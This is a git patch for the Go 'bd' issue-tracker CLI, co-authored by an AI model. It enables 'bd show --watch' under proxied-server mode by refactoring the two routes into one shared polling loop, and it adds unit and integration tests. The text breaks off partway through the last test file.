Mon Sep 17 00:00:00 2001 From: Julian Knutsen Date: Tue, 29 Sep 2026 02:22:09 -0700 Subject: [PATCH 223/624] fix(show): support bd show --watch under --proxied-server (#6933) bd show --watch was refused in proxied-server mode (proxy.watch.unsupported). The direct and proxied routes now share one watch loop (2s poll, redraw on id:status:updated_at change, SIGINT/SIGTERM stop); the proxied route opens a short read per render/poll. A missing id now exits 1 on both routes, and failed polls keep the last render quietly. Co-Authored-By: Claude Opus 5.5 --- CHANGELOG.md | 12 + cmd/bd/BUILD.bazel | 3 + cmd/bd/proxy_capability.go | 13 +- cmd/bd/proxy_capability_test.go | 51 +++-- cmd/bd/show.go | 3 +- cmd/bd/show_display.go | 96 +++++--- cmd/bd/show_embedded_test.go | 25 ++ cmd/bd/show_proxied_integration_test.go | 11 - cmd/bd/show_proxied_server.go | 62 +++-- cmd/bd/show_proxied_watch.go | 57 +++++ cmd/bd/show_proxied_watch_integration_test.go | 216 ++++++++++++++++++ cmd/bd/show_watch_loop_test.go | 152 ++++++++++++ 12 files changed, 612 insertions(+), 89 deletions(-) create mode 100644 cmd/bd/show_proxied_watch.go create mode 100644 cmd/bd/show_proxied_watch_integration_test.go create mode 100644 cmd/bd/show_watch_loop_test.go diff --git a/CHANGELOG.md b/CHANGELOG.md index c906ac504..de2322b56 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -110,6 +110,18 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 up, but it can flip auto-backup on or off for `-C` invocations whose launch directory and target differ in remote configuration. +- **`bd show --watch` works under `--proxied-server`.** It was refused with + `proxy.watch.unsupported` although the provider can answer the poll the way + `bd list --watch` already does, so every proxied workspace — the default + transport for managed-local setups — had no way to watch a bead. The proxied + route now shares the direct route's loop: render once, re-read every 2s, + redraw only when the issue's status or `updated_at` changes, stop cleanly on + Ctrl+C/SIGTERM, and require exactly one id. Each poll opens its own short + unit of work, so a long watch never pins a transaction, and a poll that + fails (the issue was deleted, the backend blipped) keeps the last render + without printing, as on the direct route. On both routes a watch whose id + cannot be found now exits non-zero instead of 0. + - **Generated git hooks accept uutils coreutils `timeout` as a deadline helper** ([#5541](https://github.com/gastownhall/beads/issues/5541)). The managed hook section probes `timeout` and `gtimeout` with `--version` and accepted only the diff --git a/cmd/bd/BUILD.bazel b/cmd/bd/BUILD.bazel index 4e99906ba..41a214a1d 100644 --- a/cmd/bd/BUILD.bazel +++ b/cmd/bd/BUILD.bazel @@ -284,6 +284,7 @@ go_library( "show_display.go", "show_format.go", "show_proxied_server.go", + "show_proxied_watch.go", "show_refs.go", "show_thread.go", "show_unit_helpers.go", @@ -1045,8 +1046,10 @@ go_test( "show_not_found_hint_test.go", "show_proxied_integration_test.go", "show_proxied_reader_test.go", + "show_proxied_watch_integration_test.go", "show_test.go", "show_unit_helpers_test.go", + "show_watch_loop_test.go", "show_watch_test.go", "simple_helpers_test.go", "skip_store_annotation_test.go", diff --git a/cmd/bd/proxy_capability.go b/cmd/bd/proxy_capability.go index d4f8a517d..34bdb6a00 100644 --- a/cmd/bd/proxy_capability.go +++ b/cmd/bd/proxy_capability.go @@ -167,8 +167,10 @@ var ( // is threading it through the UOW reader the way `list` already does, so // the refusal itself is the gap. maxRowsRefusal = refused("proxy.max_rows.unsupported", "--max-rows / BEADS_MAX_ROWS is not supported in proxied-server mode", ProxyReasonUnimplemented, trackLongTail) - // `list --watch` is routed, so watching is possible over the provider; - // nothing else has been wired to it. + // The mode-wide default for a --watch that has not been wired to the + // provider. Both commands that register the flag (`list`, `show`) poll the + // provider and are honored per-command below, so this refuses only a + // future --watch until someone routes it. watchRefusal = refused("proxy.watch.unsupported", "watch mode not supported in proxied-server mode", ProxyReasonUnimplemented, trackLongTail) // --repo routes to another workspace, bypassing the proxied root entirely, // which is why it is design rather than a gap. `bd create` is the only @@ -219,7 +221,7 @@ var proxyCapabilityMatrix = map[ProxyMode]map[ProxyCapability]proxyCapabilityRul // command line can reach. TestProxyCapabilityRowsNameFlagsTheCommandRegisters // enforces both directions of that rule. var proxyCommandCapabilities = map[string]map[ProxyMode]map[ProxyCapability]proxyCapabilityRule{ - "show": {ProxyModeProxied: {ProxyCapWatch: watchRefusal}}, + "show": {ProxyModeProxied: {ProxyCapWatch: honored()}}, "list": {ProxyModeProxied: {ProxyCapWatch: honored(), ProxyCapMaxRows: honored(), ProxyCapRepo: notApplicable()}}, "dep tree": {ProxyModeProxied: {ProxyCapMaxRows: honored()}}, "ready": {ProxyModeProxied: {ProxyCapMaxRows: maxRowsRefusal}}, @@ -348,11 +350,6 @@ func validateProxyCapabilitiesBeforeProvider(cmd *cobra.Command) error { if path == "create" && cmd.Flags().Changed("repo") { return HandleProxyCapabilityError(AssertProxyCapability(ProxyModeProxied, ProxyCapRepo)) } - if path == "show" { - if watch, _ := cmd.Flags().GetBool("watch"); watch { - return HandleProxyCapabilityError(AssertProxyCommandCapability(path, ProxyModeProxied, ProxyCapWatch)) - } - } if path == "ready" && !readyGatedArm(cmd) { // --claim is NOT exempt. The proxied ready role cannot enforce a row // cap on either arm, and ready.go refuses a positive cap on both (see diff --git a/cmd/bd/proxy_capability_test.go b/cmd/bd/proxy_capability_test.go index e3c94d368..4bf83a8e3 100644 --- a/cmd/bd/proxy_capability_test.go +++ b/cmd/bd/proxy_capability_test.go @@ -470,7 +470,7 @@ func TestProxyCapabilityCommandRows(t *testing.T) { {"ready", "--max-rows", ProxyOutcomeRefused}, {"graph", "--max-rows", ProxyOutcomeRefused}, {"find-duplicates", "--max-rows", ProxyOutcomeRefused}, - {"show", "--watch", ProxyOutcomeRefused}, + {"show", "--watch", ProxyOutcomeHonored}, {"list", "--watch", ProxyOutcomeHonored}, } for _, topology := range []ProxyTopology{ProxyTopologyManagedLocal, ProxyTopologyExternalTCP, ProxyTopologyExternalUnix} { @@ -634,21 +634,21 @@ func TestProxyMaintenanceRefusalLeavesFilesUntouched(t *testing.T) { } } -// newWatchShowCommand builds `bd show --watch`. The root matters: the front -// door keys on a command's path below its root, so a parentless command has no -// path and matches no rule — which is how a test tree can report success for a -// refusal that never fired. -func newWatchShowCommand(t *testing.T) *cobra.Command { +// newProxyFrontDoorCommand builds `bd --` under a real root. The +// root matters: the front door keys on a command's path below its root, so a +// parentless command has no path and matches no rule — which is how a test +// tree can report success for a refusal that never fired. +func newProxyFrontDoorCommand(t *testing.T, use, flag string) *cobra.Command { t.Helper() root := &cobra.Command{Use: "bd"} - cmd := &cobra.Command{Use: "show"} - cmd.Flags().Bool("watch", false, "") + cmd := &cobra.Command{Use: use} + cmd.Flags().Bool(flag, false, "") root.AddCommand(cmd) - if err := cmd.Flags().Set("watch", "true"); err != nil { + if err := cmd.Flags().Set(flag, "true"); err != nil { t.Fatal(err) } - if got := commandRegistryPath(cmd); got != "show" { - t.Fatalf("test command path = %q, want %q", got, "show") + if got := commandRegistryPath(cmd); got != use { + t.Fatalf("test command path = %q, want %q", got, use) } return cmd } @@ -657,9 +657,9 @@ func TestProxyCapabilityRefusalFrontDoorTextBeforeProvider(t *testing.T) { oldJSON := jsonOutput jsonOutput = false t.Cleanup(func() { jsonOutput = oldJSON }) - cmd := newWatchShowCommand(t) + cmd := newProxyFrontDoorCommand(t, "create", "repo") got := captureStderr(t, func() { _ = validateProxyCapabilitiesBeforeProvider(cmd) }) - if !strings.Contains(got, "watch mode not supported in proxied-server mode") { + if !strings.Contains(got, "--repo is not supported with --proxied-server") { t.Fatalf("text refusal = %q", got) } } @@ -668,16 +668,37 @@ func TestProxyCapabilityRefusalFrontDoorJSONIncludesCode(t *testing.T) { oldJSON := jsonOutput jsonOutput = true t.Cleanup(func() { jsonOutput = oldJSON }) - cmd := newWatchShowCommand(t) + cmd := newProxyFrontDoorCommand(t, "create", "repo") out := captureStdout(t, func() error { _ = validateProxyCapabilitiesBeforeProvider(cmd) return nil }) - if !strings.Contains(out, `"code": "proxy.watch.unsupported"`) { + if !strings.Contains(out, `"code": "proxy.repo.unsupported"`) { t.Fatalf("JSON refusal = %q", out) } } +// TestProxyFrontDoorAdmitsShowWatch pins that `bd show --watch` reaches the +// proxied provider. It used to be refused here with proxy.watch.unsupported, +// although the provider can answer the poll exactly as `list --watch` does. +func TestProxyFrontDoorAdmitsShowWatch(t *testing.T) { + oldJSON := jsonOutput + jsonOutput = true + t.Cleanup(func() { jsonOutput = oldJSON }) + cmd := newProxyFrontDoorCommand(t, "show", "watch") + var err error + out := captureStdout(t, func() error { + err = validateProxyCapabilitiesBeforeProvider(cmd) + return nil + }) + if err != nil || strings.Contains(out, "proxy.watch.unsupported") { + t.Fatalf("front door refused show --watch: err=%v out=%q", err, out) + } + if err := AssertProxyCommandCapability("show", ProxyModeProxied, ProxyCapWatch); err != nil { + t.Fatalf("show --watch capability refused: %v", err) + } +} + func TestProxyCapabilityDirectEscapeHatch(t *testing.T) { for _, cap := range []ProxyCapability{ProxyCapReadonly, ProxyCapMaxRows, ProxyCapWatch, ProxyCapRepo} { if err := AssertProxyCapability(ProxyModeDirect, cap); err != nil { diff --git a/cmd/bd/show.go b/cmd/bd/show.go index 14df5a081..c8c4db8d6 100644 --- a/cmd/bd/show.go +++ b/cmd/bd/show.go @@ -99,8 +99,7 @@ var showCmd = &cobra.Command{ if len(args) != 1 { return HandleErrorRespectJSON("watch mode requires exactly one issue ID") } - watchIssue(ctx, args[0]) - return nil + return watchIssue(ctx, args[0]) } if showThread { diff --git a/cmd/bd/show_display.go b/cmd/bd/show_display.go index a3e065604..8ff78de67 100644 --- a/cmd/bd/show_display.go +++ b/cmd/bd/show_display.go @@ -14,73 +14,109 @@ import ( "github.com/steveyegge/beads/internal/uimd" ) -// displayShowIssue displays a single issue (reusable for watch mode). -// Matches the full bd show output: header, metadata, content, labels, deps, comments. -func displayShowIssue(ctx context.Context, issueID string) { - displayShowIssueReturn(ctx, issueID) -} - // singleIssueSnapshot builds a comparable string from a single issue's state // so we can detect when the issue has changed between poll cycles. func singleIssueSnapshot(issue *types.Issue) string { return fmt.Sprintf("%s:%s:%d", issue.ID, issue.Status, issue.UpdatedAt.UnixNano()) } +// issueWatchSource is what a `bd show --watch` loop reads from. render draws +// the full view and returns the issue it drew, or nil when there was nothing to +// draw (it reports why itself); fetch re-reads the issue for the change check +// and must not print anything, since the loop owns what a failed poll means. +// The direct store and the proxied-server provider each supply one, so both +// routes share the snapshot, redraw and poll-failure rules below instead of +// copying them. +type issueWatchSource struct { + render func(ctx context.Context) *types.Issue + fetch func(ctx context.Context) (*types.Issue, error) +} + +// showWatchPollInterval is how often a watched issue is re-read. +const showWatchPollInterval = 2 * time.Second + // watchIssue polls for changes to an issue and auto-refreshes the display (GH#654). // Uses polling instead of fsnotify because Dolt stores data in a server-side // database, not files — file watchers never fire. -func watchIssue(ctx context.Context, issueID string) { - // Initial display and snapshot - issue := displayShowIssueReturn(ctx, issueID) +func watchIssue(ctx context.Context, issueID string) error { + return runIssueWatch(ctx, issueWatchSource{ + render: func(ctx context.Context) *types.Issue { return displayShowIssueReturn(ctx, issueID) }, + fetch: func(ctx context.Context) (*types.Issue, error) { return fetchIssue(ctx, issueID) }, + }) +} + +// runIssueWatch drives watchIssueLoop on a real ticker until Ctrl+C or SIGTERM. +// It fails when the initial render found nothing to watch; the render has +// already said why, so the failure is silent. +func runIssueWatch(ctx context.Context, src issueWatchSource) error { + // Deferred Stop prevents signal handler leak + sigChan := make(chan os.Signal, 1) + signal.Notify(sigChan, os.Interrupt, syscall.SIGTERM) + defer signal.Stop(sigChan) + + ticker := time.NewTicker(showWatchPollInterval) + defer ticker.Stop() + + if !watchIssueLoop(ctx, src, ticker.C, sigChan) { + return SilentExit() + } + return nil +} + +// watchIssueLoop renders the issue once, then on every tick re-reads it and +// redraws only when singleIssueSnapshot changes. A poll that fails — the +// issue was deleted, the backend blipped, a unit of work would not open — keeps +// the last render on screen and is retried on the next tick without printing: +// the watch is a live view, and a line (or, under --json, an error object) on +// every tick for a condition the user can already see would bury it. It +// returns when stop fires, or immediately, reporting false, when the initial +// render found nothing to watch. +func watchIssueLoop(ctx context.Context, src issueWatchSource, tick <-chan time.Time, stop <-chan os.Signal) bool { + issue := src.render(ctx) if issue == nil { - return + return false } lastSnapshot := singleIssueSnapshot(issue) fmt.Fprintf(os.Stderr, "\nWatching for changes... (Press Ctrl+C to exit)\n") - // Handle Ctrl+C — deferred Stop prevents signal handler leak - sigChan := make(chan os.Signal, 1) - signal.Notify(sigChan, os.Interrupt, syscall.SIGTERM) - defer signal.Stop(sigChan) - - pollInterval := 2 * time.Second - ticker := time.NewTicker(pollInterval) - defer ticker.Stop() - for { select { - case <-sigChan: + case <-stop: fmt.Fprintf(os.Stderr, "\nStopped watching.\n") - return - case <-ticker.C: - issue := fetchIssue(ctx, issueID) - if issue == nil { + return true + case <-tick: + issue, err := src.fetch(ctx) + if err != nil || issue == nil { continue } snap := singleIssueSnapshot(issue) if snap != lastSnapshot { lastSnapshot = snap - displayShowIssue(ctx, issueID) + src.render(ctx) fmt.Fprintf(os.Stderr, "\nWatching for changes... (Press Ctrl+C to exit)\n") } } } } -// fetchIssue retrieves a single issue by ID, returning nil on error. -func fetchIssue(ctx context.Context, issueID string) *types.Issue { +// fetchIssue retrieves a single issue by ID without printing anything. +func fetchIssue(ctx context.Context, issueID string) (*types.Issue, error) { result, err := resolveAndGetIssueWithRouting(ctx, store, issueID) if result != nil { defer result.Close() } - if err != nil || result == nil || result.Issue == nil { - return nil + if err != nil { + return nil, err } - return result.Issue + if result == nil || result.Issue == nil { + return nil, fmt.Errorf("issue %s not found", issueID) + } + return result.Issue, nil } // displayShowIssueReturn displays a single issue and returns it for snapshot use. +// Matches the full bd show output: header, metadata, content, labels, deps, comments. func displayShowIssueReturn(ctx context.Context, issueID string) *types.Issue { result, err := resolveAndGetIssueWithRouting(ctx, store, issueID) if result != nil { diff --git a/cmd/bd/show_embedded_test.go b/cmd/bd/show_embedded_test.go index c7d055d1e..522348480 100644 --- a/cmd/bd/show_embedded_test.go +++ b/cmd/bd/show_embedded_test.go @@ -3,13 +3,16 @@ package main import ( + "context" "encoding/json" + "errors" "fmt" "os" "os/exec" "strings" "sync" "testing" + "time" "github.com/steveyegge/beads/internal/types" ) @@ -148,6 +151,28 @@ func TestEmbeddedShow(t *testing.T) { bdShowFail2(t, bd, dir, "ts-nonexistent999") }) + // A watch on an id that does not exist used to print "Issue not found" + // and exit 0 on this route, watching nothing. It now exits 1 like plain + // `bd show `, and like the proxied route. + t.Run("show_watch_nonexistent_id_exits_1", func(t *testing.T) { + ctx, cancel := context.WithTimeout(context.Background(), 60*time.Second) + defer cancel() + cmd := exec.CommandContext(ctx, bd, "show", "ts-nonexistent999", "--watch") + cmd.Dir = dir + cmd.Env = bdEnv(dir) + out, err := cmd.CombinedOutput() + if ctx.Err() != nil { + t.Fatalf("bd show --watch on a missing id kept watching:\n%s", out) + } + var exitErr *exec.ExitError + if !errors.As(err, &exitErr) || exitErr.ExitCode() != 1 { + t.Fatalf("bd show --watch on a missing id: err=%v, want exit 1\n%s", err, out) + } + if !strings.Contains(string(out), "ts-nonexistent999") { + t.Errorf("output does not name the missing id:\n%s", out) + } + }) + t.Run("show_no_args", func(t *testing.T) { bdShowFail2(t, bd, dir) }) diff --git a/cmd/bd/show_proxied_integration_test.go b/cmd/bd/show_proxied_integration_test.go index b31bc6dad..0dc2c961d 100644 --- a/cmd/bd/show_proxied_integration_test.go +++ b/cmd/bd/show_proxied_integration_test.go @@ -908,17 +908,6 @@ func TestProxiedServerShow3(t *testing.T) { } }) - t.Run("show_watch_rejected_in_proxied_mode", func(t *testing.T) { - t.Parallel() - p := newSharedProxiedProject(t, bd, "swt") - issue := bdProxiedCreate(t, bd, p.dir, "Watch test", "--type", "task") - stdout, stderr := bdProxiedShowFail(t, bd, p.dir, issue.ID, "--watch") - combined := stdout + stderr - if !strings.Contains(combined, "watch mode not supported in proxied-server mode") { - t.Errorf("expected proxied watch-rejection error, got: %s", combined) - } - }) - t.Run("show_wisp_comments_default_count_only", func(t *testing.T) { t.Parallel() p := newSharedProxiedProject(t, bd, "swcc") diff --git a/cmd/bd/show_proxied_server.go b/cmd/bd/show_proxied_server.go index 8c3bd0b4b..fee04107b 100644 --- a/cmd/bd/show_proxied_server.go +++ b/cmd/bd/show_proxied_server.go @@ -94,19 +94,47 @@ func proxiedIssueReader() (issueops.Reader, error) { func runShowProxiedServer(cmd *cobra.Command, ctx context.Context, args []string) error { in := gatherShowProxiedInput(cmd, args) - if in.watchMode { - // Defense in depth, like create's --repo fallback: the pre-provider - // gate refuses `show --watch` first. Typed so all three refusals render - // identically if one ever becomes reachable. - return HandleProxyCapabilityError(AssertProxyCommandCapability("show", ProxyModeProxied, ProxyCapWatch)) - } - uw, err := proxiedOpenReadUOW(ctx) if err != nil { return err } + + if err := resolveShowProxiedIDs(ctx, uw, in); err != nil { + uw.Close(ctx) + return err + } + + // Same precedence as the direct route: --as-of answers a point-in-time + // read, which has nothing to watch. + if in.watchMode && in.asOfRef == "" { + // The watch opens a fresh unit of work per poll; holding this one + // would pin a transaction for as long as the user watches. + uw.Close(ctx) + if len(in.ids) != 1 { + return HandleErrorRespectJSON("watch mode requires exactly one issue ID") + } + return runIssueWatch(ctx, proxiedIssueWatchSource(in)) + } defer uw.Close(ctx) + switch { + case in.asOfRef != "": + runShowProxiedAsOf(ctx, uw, in) + case in.thread: + return runShowProxiedThread(ctx, uw, in) + case in.refs: + runShowProxiedRefs(ctx, uw, in) + case in.children: + runShowProxiedChildren(ctx, uw, in) + default: + return runShowProxiedDefault(ctx, uw, in) + } + return nil +} + +// resolveShowProxiedIDs turns --current into an explicit id and rejects an +// empty id list, the same checks the direct route makes before dispatching. +func resolveShowProxiedIDs(ctx context.Context, uw uow.UnitOfWork, in *showProxiedInput) error { if in.currentMode { if len(in.ids) > 0 { return HandleErrorRespectJSON("--current cannot be combined with explicit issue IDs") @@ -121,19 +149,6 @@ func runShowProxiedServer(cmd *cobra.Command, ctx context.Context, args []string if len(in.ids) == 0 { return HandleErrorRespectJSON("at least one issue ID is required (use positional args, --id flag, or --current)") } - - switch { - case in.asOfRef != "": - runShowProxiedAsOf(ctx, uw, in) - case in.thread: - return runShowProxiedThread(ctx, uw, in) - case in.refs: - runShowProxiedRefs(ctx, uw, in) - case in.children: - runShowProxiedChildren(ctx, uw, in) - default: - return runShowProxiedDefault(ctx, uw, in) - } return nil } @@ -507,9 +522,10 @@ func proxiedRenderIssue(ctx context.Context, uw uow.UnitOfWork, issue *types.Iss // A READ on an ALTERNATE view. `bd show`'s detail view is on // issueops.Reader on both routes and gets its labels hydrated there; this - // renderer serves --refs, --children, --thread and --as-of, which answer - // with shapes the Reader contract does not describe, from a unit of work - // the caller already holds and has already read the issue from. Asking the + // renderer serves the text views the Reader contract does not describe — + // --refs, --children, --thread, --as-of, and every render of --watch + // (show_proxied_watch.go) — from a unit of work the caller already holds + // and has already read the issue from. Asking the // role here would open a second transaction to re-fetch a row this function // was handed. Alternate views reaching roles of their own is the follow-up // (ga-2ltro.12). diff --git a/cmd/bd/show_proxied_watch.go b/cmd/bd/show_proxied_watch.go new file mode 100644 index 000000000..16e97f663 --- /dev/null +++ b/cmd/bd/show_proxied_watch.go @@ -0,0 +1,57 @@ +package main + +import ( + "context" + "errors" + "time" + + "github.com/steveyegge/beads/internal/types" + "github.com/steveyegge/beads/internal/workapi" +) + +// proxiedIssueWatchSource feeds `bd show --watch` from the proxied-server +// provider. Every render and every poll opens its own short unit of work, so a +// long watch never pins a transaction and each read sees the latest commit. +// After the first render the resolved id is used, so a partial id is resolved +// once, as the direct route's first render does. +func proxiedIssueWatchSource(in *showProxiedInput) issueWatchSource { + id := in.ids[0] + formatTime := func(t time.Time) string { + if in.localTime { + t = t.Local() + } + return t.Format("2006-01-02 15:04") + } + return issueWatchSource{ + render: func(ctx context.Context) *types.Issue { + uw, err := proxiedOpenReadUOW(ctx) + if err != nil { + return nil + } + defer uw.Close(ctx) + issue, isWisp, err := workapi.GetIssueOrWisp(ctx, workapi.NewUOWDetailSource(uw), id) + if err != nil { + reportIssueLookupFailure("fetching", id, err) + return nil + } + id = issue.ID + proxiedRenderIssue(ctx, uw, issue, isWisp, in, 0, formatTime) + return issue + }, + // Opens its unit of work directly rather than through + // proxiedOpenReadUOW, which reports its own failure: a poll must stay + // silent and leave the verdict to watchIssueLoop. + fetch: func(ctx context.Context) (*types.Issue, error) { + if uowProvider == nil { + return nil, errors.New("proxied-server UOW provider not initialized") + } + uw, err := uowProvider.NewUOW(ctx) + if err != nil { + return nil, err + } + defer uw.Close(ctx) + issue, _, err := workapi.GetIssueOrWisp(ctx, workapi.NewUOWDetailSource(uw), id) + return issue, err + }, + } +} diff --git a/cmd/bd/show_proxied_watch_integration_test.go b/cmd/bd/show_proxied_watch_integration_test.go new file mode 100644 index 000000000..76cd72f23 --- /dev/null +++ b/cmd/bd/show_proxied_watch_integration_test.go @@ -0,0 +1,216 @@ +//go:build cgo + +package main + +import ( + "bytes" + "os/exec" + "strings" + "sync" + "syscall" + "testing" + "time" +) + +// watchBannerWriter buffers a stream and signals every time the watch banner +// is printed, so a test can wait for the Nth render instead of sleeping. +type watchBannerWriter struct { + mu sync.Mutex + buf bytes.Buffer + count int + renders chan int +} + +const showWatchBanner = "Watching for changes..." + +func (w *watchBannerWriter) Write(p []byte) (int, error) { + w.mu.Lock() + defer w.mu.Unlock() + n, err := w.buf.Write(p) + if now := strings.Count(w.buf.String(), showWatchBanner); now > w.count { + w.count = now + select { + case w.renders <- now: + default: + } + } + return n, err +} + +func (w *watchBannerWriter) String() string { + w.mu.Lock() + defer w.mu.Unlock() + return w.buf.String() +} + +// waitForRender blocks until the banner has been printed at least want times, +// giving up when the process exits or the timeout elapses. +func (w *watchBannerWriter) waitForRender(want int, timeout time.Duration, exited <-chan struct{}) bool { + deadline := time.After(timeout) + for { + w.mu.Lock() + got := w.count + w.mu.Unlock() + if got >= want { + return true + } + select { + case <-w.renders: + case <-exited: + w.mu.Lock() + defer w.mu.Unlock() + return w.count >= want + case <-deadline: + return false + } + } +} + +// TestProxiedServerShowWatch pins `bd show --watch` under --proxied-server to +// the direct route's contract: render once, redraw when the issue's +// status/updated_at snapshot changes, and stop cleanly on SIGINT. Proxied mode +// used to refuse it outright (proxy.watch.unsupported), so every consumer on +// the default proxied transport had to reimplement the poll itself. +func TestProxiedServerShowWatch(t *testing.T) { + requireSharedProxiedServer(t) + t.Parallel() + bd := buildEmbeddedBD(t) + + t.Run("redraws_on_change_and_stops_on_interrupt", func(t *testing.T) { + t.Parallel() + p := newSharedProxiedProject(t, bd, "swr") + issue := bdProxiedCreate(t, bd, p.dir, "Watch me", "--type", "task") + + var stdout bytes.Buffer + stderr := &watchBannerWriter{renders: make(chan int, 1)} + cmd := exec.Command(bd, "show", issue.ID, "--watch") + cmd.Dir = p.dir + cmd.Env = bdProxiedEnv(p.dir) + cmd.Stdout = &stdout + cmd.Stderr = stderr + if err := cmd.Start(); err != nil { + t.Fatalf("start bd show --watch: %v", err) + } + var waitErr error + exited := make(chan struct{}) + go func() { + waitErr = cmd.Wait() + close(exited) + }() + t.Cleanup(func() { + _ = cmd.Process.Kill() + <-exited + }) + + if !stderr.waitForRender(1, 60*time.Second, exited) { + t.Fatalf("bd show --watch never started watching\nstdout:\n%s\nstderr:\n%s", stdout.String(), stderr.String()) + } + if strings.Contains(stderr.String(), "not supported") { + t.Fatalf("bd show --watch refused under --proxied-server:\n%s", stderr.String()) + } + + bdProxiedUpdateOne(t, bd, p.dir, issue.ID, "--status", "in_progress") + + if !stderr.waitForRender(2, 60*time.Second, exited) { + t.Fatalf("bd show --watch did not redraw after the status change\nstdout:\n%s\nstderr:\n%s", stdout.String(), stderr.String()) + } + + if err := cmd.Process.Signal(syscall.SIGINT); err != nil { + t.Fatalf("signal bd show --watch: %v", err) + } + select { + case <-exited: + if waitErr != nil { + t.Fatalf("bd show --watch exited with %v after SIGINT, want 0\nstderr:\n%s", waitErr, stderr.String()) + } + case <-time.After(30 * time.Second): + t.Fatalf("bd show --watch ignored SIGINT\nstderr:\n%s", stderr.String()) + } + if !strings.Contains(stderr.String(), "Stopped watching.") { + t.Errorf("stderr lacks the stop line:\n%s", stderr.String()) + } + + out := stdout.String() + if got := strings.Count(out, "Watch me"); got < 2 { + t.Errorf("stdout rendered the issue %d time(s), want an initial render and a redraw:\n%s", got, out) + } + if !strings.Contains(strings.ToUpper(out), "IN_PROGRESS") { + t.Errorf("redraw does not show the new status:\n%s", out) + } + }) + + // A poll that fails keeps the last render and prints nothing: the route + // used to print "Error refreshing " every 2s once the issue was + // deleted, and under --json an error object on stdout each time. + t.Run("deleted_issue_polls_stay_quiet", func(t *testing.T) { + t.Parallel() + p := newSharedProxiedProject(t, bd, "swd") + issue := bdProxiedCreate(t, bd, p.dir, "Watch then delete", "--type", "task") + + // Locked: stdout is read while the child is still writing to it. + stdout := &watchBannerWriter{renders: make(chan int, 1)} + stderr := &watchBannerWriter{renders: make(chan int, 1)} + cmd := exec.Command(bd, "--json", "show", issue.ID, "--watch") + cmd.Dir = p.dir + cmd.Env = bdProxiedEnv(p.dir) + cmd.Stdout = stdout + cmd.Stderr = stderr + if err := cmd.Start(); err != nil { + t.Fatalf("start bd show --watch: %v", err) + } + exited := make(chan struct{}) + go func() { + _ = cmd.Wait() + close(exited) + }() + t.Cleanup(func() { + _ = cmd.Process.Kill() + <-exited + }) + + if !stderr.waitForRender(1, 60*time.Second, exited) { + t.Fatalf("bd show --watch never started watching\nstdout:\n%s\nstderr:\n%s", stdout.String(), stderr.String()) + } + before := len(stdout.String()) + bdProxiedDelete(t, bd, p.dir, issue.ID, "--force") + + // Several poll intervals, so a per-tick report would have fired. + select { + case <-exited: + t.Fatalf("bd show --watch exited after the issue was deleted\nstderr:\n%s", stderr.String()) + case <-time.After(3 * showWatchPollInterval): + } + if after := stdout.String()[before:]; after != "" { + t.Errorf("stdout grew after the delete:\n%s", after) + } + if strings.Contains(stderr.String(), "Error") || strings.Contains(stderr.String(), "not found") { + t.Errorf("stderr reported the failed polls:\n%s", stderr.String()) + } + }) + + t.Run("missing_id_fails_instead_of_watching", func(t *testing.T) { + t.Parallel() + p := newSharedProxiedProject(t, bd, "swm") + stdout, stderr, err, timedOut := bdProxiedRunDeadline(t, bd, p.dir, 60*time.Second, "show", "swm-nonexistent999", "--watch") + if timedOut { + t.Fatalf("bd show --watch on a missing id kept watching\nstdout:\n%s\nstderr:\n%s", stdout, stderr) + } + if err == nil { + t.Fatalf("bd show --watch on a missing id exited 0\nstdout:\n%s\nstderr:\n%s", stdout, stderr) + } + if want := "Issue swm-nonexistent999 not found"; !strings.Contains(stderr, want) { + t.Errorf("stderr = %q, want it to contain %q", stderr, want) + } + }) + + t.Run("requires_exactly_one_id", func(t *testing.T) { + t.Parallel() + p := newSharedProxiedProject(t, bd, "swo") + a := bdProxiedCreate(t, bd, p.dir, "Watch A", "--type", "task") + b := bdProxiedCreate(t, bd, p.dir, "Watch B", "--type", "task") + stdout, stderr := bdProxiedShowFail(t, bd, p.dir, a.ID, b.ID, "--watch") + if combined := stdout + stderr; !strings.Contains(combined, "watch mode requires exactly one issue ID") { + t.Errorf("want the direct route's one-id error, got:\n%s", combined) + } + }) +} diff --git a/cmd/bd/show_watch_loop_test.go b/cmd/bd/show_watch_loop_test.go new file mode 100644 index 000000000..d45b75c08 --- /dev/null +++ b/cmd/bd/show_watch_loop_test.go @@ -0,0 +1,152 @@ +package main + +import ( + "context" + "errors" + "os" + "slices" + "strings" + "testing" + "time" + + "github.com/steveyegge/beads/internal/types" +) + +// watchPoll is one scripted fetch result. +type watchPoll struct { + issue *types.Issue + err error +} + +// scriptedWatchSource replays a fixed sequence of fetch results and counts +// renders, so the loop's redraw rule can be checked without a store. +type scriptedWatchSource struct { + initial *types.Issue + polls []watchPoll + renders int + // rendersAtFetch records the render count as each poll starts, i.e. the + // result of the poll before it. Written only on the loop's goroutine and + // read after the loop returns. + rendersAtFetch []int +} + +func (s *scriptedWatchSource) source() issueWatchSource { + return issueWatchSource{ + render: func(context.Context) *types.Issue { + s.renders++ + return s.initial + }, + fetch: func(context.Context) (*types.Issue, error) { + s.rendersAtFetch = append(s.rendersAtFetch, s.renders) + next := s.polls[0] + s.polls = s.polls[1:] + return next.issue, next.err + }, + } +} + +// driveWatchLoop runs the loop over src for every scripted poll, stops it, and +// returns whether it reported watching plus everything it wrote to stderr. +func driveWatchLoop(t *testing.T, src *scriptedWatchSource) (bool, string) { + t.Helper() + polls := len(src.polls) + var watched bool + stderr := captureStderr(t, func() { + tick := make(chan time.Time) + stop := make(chan os.Signal, 1) + done := make(chan bool) + go func() { done <- watchIssueLoop(context.Background(), src.source(), tick, stop) }() + // tick is unbuffered, so each send lands only once the loop is back in + // its select, i.e. after the previous poll (and any redraw) finished. + for range polls { + tick <- time.Time{} + } + stop <- os.Interrupt + watched = <-done + }) + return watched, stderr +} + +// TestWatchIssueLoopRedrawsOnlyOnSnapshotChange pins the redraw rule both +// `bd show --watch` routes share: an unchanged snapshot or a failed read does +// not redraw, a status or updated_at change does, and stop ends the loop. +func TestWatchIssueLoopRedrawsOnlyOnSnapshotChange(t *testing.T) { + base := time.Date(2026, 1, 2, 3, 4, 5, 0, time.UTC) + open := &types.Issue{ID: "w-1", Status: types.StatusOpen, UpdatedAt: base} + sameAgain := &types.Issue{ID: "w-1", Status: types.StatusOpen, UpdatedAt: base} + inProgress := &types.Issue{ID: "w-1", Status: types.StatusInProgress, UpdatedAt: base.Add(time.Second)} + touched := &types.Issue{ID: "w-1", Status: types.StatusInProgress, UpdatedAt: base.Add(2 * time.Second)} + + src := 